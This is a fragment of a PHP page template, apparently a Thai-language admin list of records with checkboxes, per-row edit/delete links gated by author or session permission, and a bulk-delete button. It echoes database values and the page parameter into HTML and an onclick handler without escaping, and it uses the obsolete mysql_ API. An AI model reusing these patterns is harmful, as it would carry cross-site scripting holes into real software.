<td align="center" style="border:#999999 solid 1px;border-collapse:collapse;"><input type="checkbox" name="chk[]" value="<?=$rs[id]?>" style="border:0px;" <?=$dis_ch?>></td>
<td class="normal_blue" style="border:#999999 solid 1px;border-collapse:collapse;" onclick="window.location.replace('?action=view&id=<?=$rs[id]?>&page=<?=$page?>')">
<?=$rs[topic]?></td>
<td align="center" style="border:#999999 solid 1px;border-collapse:collapse;">
<?=$xrs[type]?></td>
<? if($rs[view]!=1){?>
<td align="center" style="border:#999999 solid 1px;border-collapse:collapse;"><?=$off ?></td>
<? }else { ?>
<td align="center" style="border:#999999 solid 1px;border-collapse:collapse;"><?=$on ?></td>
<? } ?>
<? if(($user_name == $author) or ( $_SESSION['session_apppermit'][$app_id][$permit10] == "on") ){ ?>
<td width="2%" align="center" style="border:#999999 solid 1px;border-collapse:collapse;"><?=$img." ".$edit." ".$del?></td>
<? }elseif($set == "yes"){ ?>
<td width="2%" align="center" style="border:#999999 solid 1px;border-collapse:collapse;"><?=$edit?></td>
<? }else{ ?>
<td width="0%" align="center" style="border:#999999 solid 1px;border-collapse:collapse;"> </td>
</tr>
<?
}}
mysql_free_result($result);
?>
<tr align="right" bgcolor="#eeeeee" >
<td height="35" colspan="5" valign="bottom"><input type="hidden" name="action2" value="delete" />
<span class="mwarn">ลบข้อมูลที่เลือก</span>
<input type="submit" class="input" name="submit2" value="Delete" style="width:100px; background-color:#ffffff;" onclick="return confirm('ท่านต้องการที่จะลบกลุ่มข้อมูลที่เลือก ใช่หรือไม่ ?')" />
</td>
</tr>
</table></td>
</tr>
</table>
</form>
<?php } ?>
</body>
</html>